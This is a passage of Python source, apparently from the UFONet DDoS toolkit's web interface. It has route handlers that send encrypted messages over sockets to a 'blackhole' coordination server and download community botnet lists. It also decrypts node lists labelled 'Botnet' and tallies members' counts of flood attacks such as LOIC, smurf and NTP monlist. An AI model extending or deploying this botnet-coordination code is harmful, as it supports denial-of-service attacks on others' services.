  6108. self.encryptedtext = "" # clean encryptedtext buffer
  6109. stream = str(stream_creation)+streams_msg_sep+str(stream_url)+streams_msg_sep+str(stream_topic)
  6110. try:
  6111. host = blackhole_ip
  6112. cport = 9992 # port used by mothership grider (server side script)
  6113. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6114. gs.settimeout(5.0)
  6115. gs.connect((host, cport))
  6116. gs.send(stream.encode())
  6117. gs.close()
  6118. try: # download latest links after submit
  6119. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  6120. f = open(self.streams_file, "w") # write updates to streams.txt
  6121. f.write(streams)
  6122. f.close()
  6123. except:
  6124. pass
  6125. streams_trans = "[Info] [AI] Stream transferred! -> [OK!]\n"
  6126. except:
  6127. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  6128. except:
  6129. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  6130. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6131. f = open("/tmp/out", "w")
  6132. f.write(streams_trans)
  6133. f.write(end_mark)
  6134. f.close()
  6135. if page == "/cmd_transfer_stream_update":
  6136. if not os.path.exists('/tmp/out'):
  6137. open('/tmp/out', 'w').close()
  6138. with open('/tmp/out', 'r') as f:
  6139. self.pages["/cmd_transfer_stream_update"] = "<pre>"+f.read()+"<pre>"
  6140. if page == "/cmd_transfer_globalnet":
  6141. self.pages["/cmd_transfer_globalnet"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6142. blackhole_ip = pGet["globalnet_source2"]
  6143. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6144. try:
  6145. globalnet_enckey = pGet["globalnet_enckey"]
  6146. except:
  6147. globalnet_enckey = ""
  6148. globalnet_owner = pGet["globalnet_owner"]
  6149. if len(globalnet_owner) < 3 or len(globalnet_owner) > 12: # default owner
  6150. globalnet_owner = "Anonymous"
  6151. globalnet_comment = pGet["globalnet_comment"]
  6152. if len(globalnet_comment) < 3 or len(globalnet_comment) > 90: # default comment
  6153. globalnet_comment = "-"
  6154. globalnet_warp = pGet["globalnet_warp"]
  6155. try:
  6156. globalnet_ip = requests.get(check_ip_service3).text
  6157. except:
  6158. try:
  6159. globalnet_ip = requests.get(check_ip_service2).text
  6160. except:
  6161. try:
  6162. globalnet_ip = requests.get(check_ip_service1).text
  6163. except:
  6164. globalnet_ip = "Unknown!"
  6165. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6166. if globalnet_enckey != "": # stream creation + encryption + package send
  6167. try:
  6168. self.encrypt(globalnet_enckey, globalnet_owner)
  6169. if self.encryptedtext:
  6170. globalnet_owner = self.encryptedtext
  6171. self.encryptedtext = "" # clean encryptedtext buffer
  6172. self.encrypt(globalnet_enckey, globalnet_comment)
  6173. if self.encryptedtext:
  6174. globalnet_comment = self.encryptedtext
  6175. self.encryptedtext = "" # clean encryptedtext buffer
  6176. self.encrypt(globalnet_enckey, globalnet_warp)
  6177. if self.encryptedtext:
  6178. globalnet_warp = self.encryptedtext
  6179. self.encryptedtext = "" # clean encryptedtext buffer
  6180. self.encrypt(globalnet_enckey, globalnet_ip)
  6181. if self.encryptedtext:
  6182. globalnet_ip = self.encryptedtext
  6183. self.encryptedtext = "" # clean encryptedtext buffer
  6184. stream = str(globalnet_owner)+globalnet_msg_sep+str(globalnet_comment)+globalnet_msg_sep+str(globalnet_warp)+globalnet_msg_sep+str(globalnet_ip)
  6185. try:
  6186. host = blackhole_ip
  6187. cport = 9992 # port used by mothership grider (server side script)
  6188. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6189. gs.settimeout(5.0)
  6190. gs.connect((host, cport))
  6191. gs.send(stream.encode())
  6192. gs.close()
  6193. try: # download latest globalnet after submit
  6194. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  6195. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  6196. f.write(globalnet)
  6197. f.close()
  6198. except:
  6199. pass
  6200. globalnet_trans = "[Info] [AI] Location transferred! -> [OK!]\n"
  6201. except:
  6202. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  6203. except:
  6204. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  6205. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6206. f = open("/tmp/out", "w")
  6207. f.write(globalnet_trans)
  6208. f.write(end_mark)
  6209. f.close()
  6210. if page == "/cmd_transfer_globalnet_update":
  6211. if not os.path.exists('/tmp/out'):
  6212. open('/tmp/out', 'w').close()
  6213. with open('/tmp/out', 'r') as f:
  6214. self.pages["/cmd_transfer_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  6215. if page == "/cmd_sync_board":
  6216. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  6217. blackhole_ip = pGet["board_source"]
  6218. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6219. try:
  6220. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  6221. f = open(self.board_file, "w") # write updates to board.txt
  6222. f.write(board)
  6223. f.close()
  6224. self.board_text = board
  6225. except:
  6226. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  6227. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6228. f = open("/tmp/out", "w")
  6229. f.write(str(board))
  6230. f.write(end_mark)
  6231. f.close()
  6232. if page == "/cmd_sync_board_update":
  6233. if not os.path.exists('/tmp/out'):
  6234. open('/tmp/out', 'w').close()
  6235. with open('/tmp/out', 'r') as f:
  6236. stream = f.read()
  6237. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  6238. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  6239. if page == "/cmd_send_message_board":
  6240. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6241. blackhole_ip = pGet["board_source"]
  6242. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6243. try:
  6244. board_key = pGet["board_key"]
  6245. except:
  6246. board_key = ""
  6247. try:
  6248. board_topic = pGet["board_topic"]
  6249. except:
  6250. board_topic = ""
  6251. try:
  6252. board_message = pGet["stream_txt"]
  6253. except:
  6254. board_message = ""
  6255. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6256. if board_key != "" or board_topic != "" or board_message != "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  6257. try:
  6258. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  6259. board_data = json.load(board_json_file)
  6260. board_json_file.close()
  6261. board_nickname = board_data["profile_nick"]
  6262. self.encrypt(board_key, board_nickname)
  6263. if self.encryptedtext:
  6264. board_nickname = self.encryptedtext
  6265. self.encryptedtext = "" # clean encryptedtext buffer
  6266. board_icon = board_data["profile_icon"]
  6267. board_icon = board_icon.replace("link", "") # keep just icon number
  6268. board_id = board_data["profile_token"]
  6269. self.encrypt(board_key, board_message)
  6270. if self.encryptedtext:
  6271. board_message = self.encryptedtext
  6272. self.encryptedtext = "" # clean encryptedtext buffer
  6273. if board_topic == "general":
  6274. board_topic = 1
  6275. elif board_topic == "opsec":
  6276. board_topic = 2
  6277. elif board_topic == "faq":
  6278. board_topic = 3
  6279. elif board_topic == "bugs":
  6280. board_topic = 4
  6281. elif board_topic == "media":
  6282. board_topic = 5
  6283. else:
  6284. board_topic = 1
  6285. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  6286. try:
  6287. host = blackhole_ip
  6288. cport = 9992 # port used by mothership grider (server side script)
  6289. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6290. gs.settimeout(30)
  6291. gs.connect((host, cport))
  6292. gs.send(stream.encode())
  6293. gs.close()
  6294. try: # download latest board after submit
  6295. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  6296. f = open(self.board_file, "w") # write updates to board.txt
  6297. f.write(board)
  6298. f.close()
  6299. except:
  6300. pass
  6301. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  6302. except:
  6303. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  6304. except:
  6305. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  6306. f = open("/tmp/out", "w")
  6307. f.write(board_trans)
  6308. f.write(end_mark)
  6309. f.close()
  6310. if page == "/cmd_send_message_board_update":
  6311. if not os.path.exists('/tmp/out'):
  6312. open('/tmp/out', 'w').close()
  6313. with open('/tmp/out', 'r') as f:
  6314. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  6315. if page == "/cmd_decrypt":
  6316. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  6317. try:
  6318. news_key = pGet["news_key"]
  6319. except:
  6320. news_key = ""
  6321. try:
  6322. missions_key = pGet["missions_key"]
  6323. except:
  6324. missions_key = ""
  6325. end_mark = "\n[Info] [AI] End of decryption."
  6326. if news_key != "": # news decryption
  6327. self.decrypted_news = []
  6328. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6329. news_key = pGet["news_key"]
  6330. for news_text in self.list_news:
  6331. self.decrypt(news_key, news_text)
  6332. if self.decryptedtext:
  6333. if len(self.decryptedtext) < 2:
  6334. self.decrypted_news.append(nodec_text)
  6335. else:
  6336. self.decrypted_news.append(self.decryptedtext)
  6337. else:
  6338. self.decrypted_news.append(nodec_text)
  6339. self.decryptedtext = "" # clean decryptedtext buffer
  6340. f = open("/tmp/out", "w")
  6341. num_news = 0 # news counter
  6342. for m in self.decrypted_news:
  6343. num_news = num_news + 1
  6344. f.write("["+str(num_news)+"] " + str(m)+"\n")
  6345. f.write(end_mark)
  6346. f.close()
  6347. else:
  6348. if missions_key != "": # missions decryption
  6349. self.decrypted_missions = []
  6350. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6351. missions_key = pGet["missions_key"]
  6352. for missions_text in self.list_missions:
  6353. self.decrypt(missions_key, missions_text)
  6354. if self.decryptedtext:
  6355. if len(self.decryptedtext) < 2:
  6356. self.decrypted_missions.append(nodec_text)
  6357. else:
  6358. self.decrypted_missions.append(self.decryptedtext)
  6359. else:
  6360. self.decrypted_missions.append(nodec_text)
  6361. self.decryptedtext = "" # clean decryptedtext buffer
  6362. f = open("/tmp/out", "w")
  6363. num_mission = 0 # missions counter
  6364. for m in self.decrypted_missions:
  6365. num_mission = num_mission + 1
  6366. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  6367. f.write(end_mark)
  6368. f.close()
  6369. else: # blackholes (nodes.dat) decryption + data showing
  6370. self.decrypted_blackholes = []
  6371. nodec_text = "*** [This message cannot be solved with that key...]"
  6372. blackhole_key = pGet["blackhole_key"]
  6373. for blackholes_text in self.list_blackholes:
  6374. self.decrypt(blackhole_key, blackholes_text)
  6375. if self.decryptedtext:
  6376. self.decrypted_blackholes.append(self.decryptedtext)
  6377. else:
  6378. self.decrypted_blackholes.append(nodec_text)
  6379. self.decryptedtext = "" # clean decryptedtext buffer
  6380. f = open("/tmp/out", "w")
  6381. num_blackholes = 0 # blackholes counter
  6382. for b in self.decrypted_blackholes:
  6383. num_blackholes = num_blackholes + 1
  6384. if blackhole_sep in b: # IP | Mode | Comment | Actions
  6385. s = b.rsplit(blackhole_sep, 1)[0]
  6386. ip = str(s.rsplit(blackhole_sep, 1)[0])
  6387. mode = str(s.rsplit(blackhole_sep, 1)[1])
  6388. if mode == "D": # Download only mode
  6389. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  6390. elif mode == "U": # Upload only mode
  6391. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  6392. else: # Upload/Download mode
  6393. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  6394. comment = str(b.rsplit(blackhole_sep, 1)[1])
  6395. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  6396. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  6397. else:
  6398. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  6399. f.write(end_mark)
  6400. f.close()
  6401. if page == "/cmd_decrypt_update":
  6402. if not os.path.exists('/tmp/out'):
  6403. open('/tmp/out', 'w').close()
  6404. with open('/tmp/out', 'r') as f:
  6405. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  6406. if page == "/news":
  6407. self.pages["/news"] = self.html_news()
  6408. if page == "/tv":
  6409. self.pages["/tv"] = self.html_tv()
  6410. if page == "/missions":
  6411. self.pages["/missions"] = self.html_missions()
  6412. if page == "/board":
  6413. self.pages["/board"] = self.html_board()
  6414. if page == "/grid":
  6415. self.pages["/grid"] = self.html_grid()
  6416. if page == "/wargames":
  6417. self.pages["/wargames"] = self.html_wargames()
  6418. if page == "/links":
  6419. self.pages["/links"] = self.html_links()
  6420. if page == "/streams":
  6421. self.pages["/streams"] = self.html_streams()
  6422. if page == "/games":
  6423. self.pages["/games"] = self.html_games()
  6424. if page == "/spaceinvaders":
  6425. self.pages["/spaceinvaders"] = self.html_spaceinvaders()
  6426. if page == "/browser":
  6427. self.pages["/browser"] = self.html_browser()
  6428. if page == "/radar":
  6429. self.pages["/radar"] = self.html_globalnet()
  6430. if page == "/grid_profile":
  6431. if pGet=={}:
  6432. self.pages["/grid_profile"] = self.html_grid_profile()
  6433. else:
  6434. self.save_grid(pGet)
  6435. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  6436. if page == "/board_profile":
  6437. if pGet =={}:
  6438. self.pages["/board_profile"] = self.html_board_profile()
  6439. else:
  6440. self.save_profile(pGet)
  6441. self.pages["/board_profile"] = self.html_board_profile_submit()
  6442. if page == "/board_remove":
  6443. self.pages["/board_remove"] = self.html_board_remove()
  6444. if page == "/grid_remove":
  6445. self.pages["/grid_remove"] = self.html_grid_remove()
  6446. if page == "/cmd_decrypt_moderator_board":
  6447. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  6448. try:
  6449. board_key = pGet["board_key"]
  6450. except:
  6451. board_key = ""
  6452. try:
  6453. filter = pGet["filter"]
  6454. except:
  6455. filter = ""
  6456. end_mark = "\n[Info] [AI] End of decryption."
  6457. if board_key != "": # board decryption
  6458. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  6459. f = open("/tmp/out", "w")
  6460. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  6461. f.write(str(b)+"\n")
  6462. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  6463. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  6464. if board_msg_sep in m:
  6465. m = m.split(board_msg_sep)
  6466. topic = m[0] # topic
  6467. t = m[1] # icon
  6468. n = m[2] # nick
  6469. g = m[3] # id
  6470. l = m[4] # comment
  6471. if topic == "1":
  6472. topic = "/GENERAL"
  6473. elif topic == "2":
  6474. topic = "/#OPSEC "
  6475. elif topic == "3":
  6476. topic = "/FAQ "
  6477. elif topic == "4":
  6478. topic = "/BUGS "
  6479. elif topic == "5":
  6480. topic = "/MEDIA "
  6481. else:
  6482. topic = "/BUGS[!]"
  6483. operator_img = open("core/images/crew/link"+str(t)+".txt").read()
  6484. icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
  6485. self.decrypt(board_key, n)
  6486. if self.decryptedtext:
  6487. nick = self.decryptedtext
  6488. else:
  6489. nick = 'Anonymous' # We are legion!
  6490. try:
  6491. nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
  6492. except:
  6493. pass
  6494. if len(nick) < 3:
  6495. nick = 'Anonymous'
  6496. self.decryptedtext = "" # clean decryptedtext buffer
  6497. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  6498. self.decrypt(board_key, l)
  6499. if self.decryptedtext:
  6500. msg = self.decryptedtext
  6501. else:
  6502. msg = nodec_text
  6503. try:
  6504. msg = msg.decode('latin-1')
  6505. except:
  6506. pass
  6507. if len(msg) < 2:
  6508. msg = nodec_text
  6509. self.decryptedtext = "" # clean decryptedtext buffer
  6510. if filter in topic or filter == "ALL": # filter content by user selection
  6511. b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
  6512. b += "<font size=+2>"+str(topic)+"</font>"
  6513. b += "<br>by "+str(nick)+"<br><br>"
  6514. b += str(msg) + "</td></tr>"
  6515. f.write(str(b)+"\n")
  6516. else:
  6517. pass
  6518. else: # not valid stream data
  6519. pass
  6520. b="</table>"
  6521. f.write(str(b)+"\n")
  6522. f.write(end_mark)
  6523. f.close()
  6524. if page == "/cmd_decrypt_moderator_board_update":
  6525. if not os.path.exists('/tmp/out'):
  6526. open('/tmp/out', 'w').close()
  6527. with open('/tmp/out', 'r') as f:
  6528. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  6529. if page == "/cmd_decrypt_grid":
  6530. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  6531. try:
  6532. grid_key = pGet["grid_key"]
  6533. except:
  6534. grid_key = ""
  6535. end_mark = "[Info] [AI] End of decryption."
  6536. if grid_key != "": # grid decryption
  6537. # Mothership stats counters
  6538. mothership_members = 0
  6539. unknown_members = 0
  6540. member_1 = 0 # Rookie
  6541. member_2 = 0 # Mercenary
  6542. member_3 = 0 # Bandit
  6543. member_4 = 0 # UFOmmander!
  6544. member_5 = 0 # UFOl33t!
  6545. mothership_missions = 0
  6546. mothership_transferred = 0
  6547. mothership_attacks = 0
  6548. mothership_loic = 0
  6549. mothership_loris = 0
  6550. mothership_ufosyn = 0
  6551. mothership_spray = 0
  6552. mothership_smurf = 0
  6553. mothership_xmas = 0
  6554. mothership_nuke = 0
  6555. mothership_tachyon = 0
  6556. mothership_monlist = 0
  6557. mothership_fraggle = 0
  6558. mothership_sniper = 0
  6559. mothership_ufoack = 0
  6560. mothership_uforst = 0
  6561. mothership_droper = 0
  6562. mothership_overlap = 0
  6563. mothership_pinger = 0
  6564. mothership_ufoudp = 0
  6565. mothership_chargo = 0
  6566. mothership_dorking = 0
  6567. mothership_maxchargo = 0
  6568. nodec_text = "KEY?"
  6569. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_fraggle' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('fraggle','"+str(grid_key)+"')>FRAGGLE:</a></td><td align='center'><a id='filter_sniper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('sniper','"+str(grid_key)+"')>SNIPER:</a></td><td align='center'><a id='filter_ufoack' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoack','"+str(grid_key)+"')>UFOACK:</a></td><td align='center'><a id='filter_uforst' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('uforst','"+str(grid_key)+"')>UFORST:</a></td><td align='center'><a id='filter_droper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('droper','"+str(grid_key)+"')>DROPER:</a></td><td align='center'><a id='filter_overlap' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('overlap','"+str(grid_key)+"')>OVERLAP:</a></td><td align='center'><a id='filter_pinger' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('pinger','"+str(grid_key)+"')>PINGER:</a></td><td align='center'><a id='filter_ufoudp' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoudp','"+str(grid_key)+"')>UFOUDP:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  6570. grid_key = pGet["grid_key"]
  6571. f = open("/tmp/out", "w")
  6572. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  6573. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
  6574. if grid_msg_sep in m:
  6575. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4|26->1.5)
  6576. m = m.split(grid_msg_sep)
  6577. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  6578. grid_nickname = m[0] # nickname
  6579. self.decrypt(grid_key, grid_nickname)
  6580. if self.decryptedtext:
  6581. grid_nickname = self.decryptedtext
  6582. else:
  6583. grid_nickname = nodec_text
  6584. unknown_members = unknown_members + 1 # add members as unknown
  6585. self.decryptedtext = "" # clean decryptedtext buffer
  6586. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  6587. grid_nickname = "Anonymous"
  6588. else:
  6589. grid_nickname = str(grid_nickname) # nickname
  6590. grid_ranking = m[1] # ranking
  6591. self.decrypt(grid_key, grid_ranking)
  6592. if self.decryptedtext:
  6593. try:
  6594. grid_ranking = int(self.decryptedtext)
  6595. except:
  6596. grid_ranking = nodec_text
  6597. else:
  6598. grid_ranking = nodec_text
  6599. self.decryptedtext = "" # clean decryptedtext buffer
  6600. if grid_ranking == 1: #Rookie
  6601. grid_ranking = "<font color='white' size='4'>*</font>"
  6602. member_1 = member_1 + 1
  6603. elif grid_ranking == 2: # Mercenary
  6604. grid_ranking = "<font color='cyan' size='4'>**</font>"
  6605. member_2 = member_2 + 1
  6606. elif grid_ranking == 3: # Bandit
  6607. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  6608. member_3 = member_3 + 1
  6609. elif grid_ranking == 4: # UFOmmander!
  6610. grid_ranking = "<font color='blue' size='4'>****</font>"
  6611. member_4 = member_4 + 1
  6612. elif grid_ranking == 5: # UFOl33t!
  6613. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  6614. member_5 = member_5 + 1
  6615. else:
  6616. grid_ranking = nodec_text
  6617. grid_totalchargo = m[2] # total chargo
  6618. self.decrypt(grid_key, grid_totalchargo)
  6619. if self.decryptedtext:
  6620. grid_totalchargo = self.decryptedtext
  6621. else:
  6622. grid_totalchargo = nodec_text
  6623. self.decryptedtext = "" # clean decryptedtext buffer
  6624. try: # parse for int
  6625. grid_totalchargo = int(grid_totalchargo)
  6626. mothership_chargo = mothership_chargo + grid_totalchargo
  6627. except:
  6628. grid_totalchargo = nodec_text
  6629. grid_dorking = m[3] # dorking
  6630. self.decrypt(grid_key, grid_dorking)
  6631. if self.decryptedtext:
  6632. grid_dorking = self.decryptedtext
  6633. else:
  6634. grid_dorking = nodec_text
  6635. self.decryptedtext = "" # clean decryptedtext buffer
  6636. try: # parse for int
  6637. grid_dorking = int(grid_dorking)
  6638. mothership_dorking = mothership_dorking + grid_dorking
  6639. except:
  6640. grid_dorking = nodec_text
  6641. grid_transferred = m[4] # transferred
  6642. self.decrypt(grid_key, grid_transferred)
  6643. if self.decryptedtext:
  6644. grid_transferred = self.decryptedtext
  6645. else:
  6646. grid_transferred = nodec_text
  6647. self.decryptedtext = "" # clean decryptedtext buffer
  6648. try: # parse for int
  6649. grid_transferred = int(grid_transferred)
  6650. mothership_transferred = mothership_transferred + grid_transferred
  6651. except:
  6652. grid_transferred = nodec_text
  6653. grid_maxchargo = m[5] # maxchargo
  6654. self.decrypt(grid_key, grid_maxchargo)
  6655. if self.decryptedtext:
  6656. grid_maxchargo = self.decryptedtext
  6657. else:
  6658. grid_maxchargo = nodec_text
  6659. self.decryptedtext = "" # clean decryptedtext buffer
  6660. try: # parse for int
  6661. grid_maxchargo = int(grid_maxchargo)
  6662. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  6663. except:
  6664. grid_maxchargo = nodec_text
  6665. grid_missions = m[6] # missions
  6666. self.decrypt(grid_key, grid_missions)
  6667. if self.decryptedtext:
  6668. grid_missions = self.decryptedtext
  6669. else:
  6670. grid_missions = nodec_text
  6671. self.decryptedtext = "" # clean decryptedtext buffer
  6672. try: # parse for int
  6673. grid_missions = int(grid_missions)
  6674. mothership_missions = mothership_missions + grid_missions
  6675. except:
  6676. grid_missions = nodec_text
  6677. grid_attacks = m[7] # attacks
  6678. self.decrypt(grid_key, grid_attacks)
  6679. if self.decryptedtext:
  6680. grid_attacks = self.decryptedtext
  6681. else:
  6682. grid_attacks = nodec_text
  6683. self.decryptedtext = "" # clean decryptedtext buffer
  6684. try: # parse for int
  6685. grid_attacks = int(grid_attacks)
  6686. mothership_attacks = mothership_attacks + grid_attacks
  6687. except:
  6688. grid_attacks = nodec_text
  6689. grid_loic = m[8] # loic
  6690. self.decrypt(grid_key, grid_loic)
  6691. if self.decryptedtext:
  6692. grid_loic = self.decryptedtext
  6693. else:
  6694. grid_loic = nodec_text
  6695. self.decryptedtext = "" # clean decryptedtext buffer
  6696. try: # parse for int
  6697. grid_loic = int(grid_loic)
  6698. mothership_loic = mothership_loic + grid_loic
  6699. except:
  6700. grid_loic = nodec_text
  6701. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  6702. grid_loris = m[9] # loris
  6703. self.decrypt(grid_key, grid_loris)
  6704. if self.decryptedtext:
  6705. grid_loris = self.decryptedtext
  6706. else:
  6707. grid_loris = nodec_text
  6708. self.decryptedtext = "" # clean decryptedtext buffer
  6709. try: # parse for int
  6710. grid_loris = int(grid_loris)
  6711. mothership_loris = mothership_loris + grid_loris
  6712. except:
  6713. grid_loris = nodec_text
  6714. else:
  6715. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  6716. self.decrypt(grid_key, grid_loris)
  6717. if self.decryptedtext:
  6718. grid_loris = self.decryptedtext
  6719. else:
  6720. grid_loris = nodec_text
  6721. self.decryptedtext = "" # clean decryptedtext buffer
  6722. try: # parse for int
  6723. grid_loris = int(grid_loris)
  6724. mothership_loris = mothership_loris + grid_loris
  6725. except:
  6726. grid_loris = nodec_text
  6727. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  6728. grid_ufosyn = m[10] # ufosyn
  6729. self.decrypt(grid_key, grid_ufosyn)
  6730. if self.decryptedtext:
  6731. grid_ufosyn = self.decryptedtext
  6732. else:
  6733. grid_ufosyn = nodec_text
  6734. self.decryptedtext = "" # clean decryptedtext buffer
  6735. try: # parse for int
  6736. grid_ufosyn = int(grid_ufosyn)
  6737. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  6738. except:
  6739. grid_ufosyn = nodec_text
  6740. else:
  6741. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  6742. self.decrypt(grid_key, grid_ufosyn)
  6743. if self.decryptedtext:
  6744. grid_ufosyn = self.decryptedtext
  6745. else:
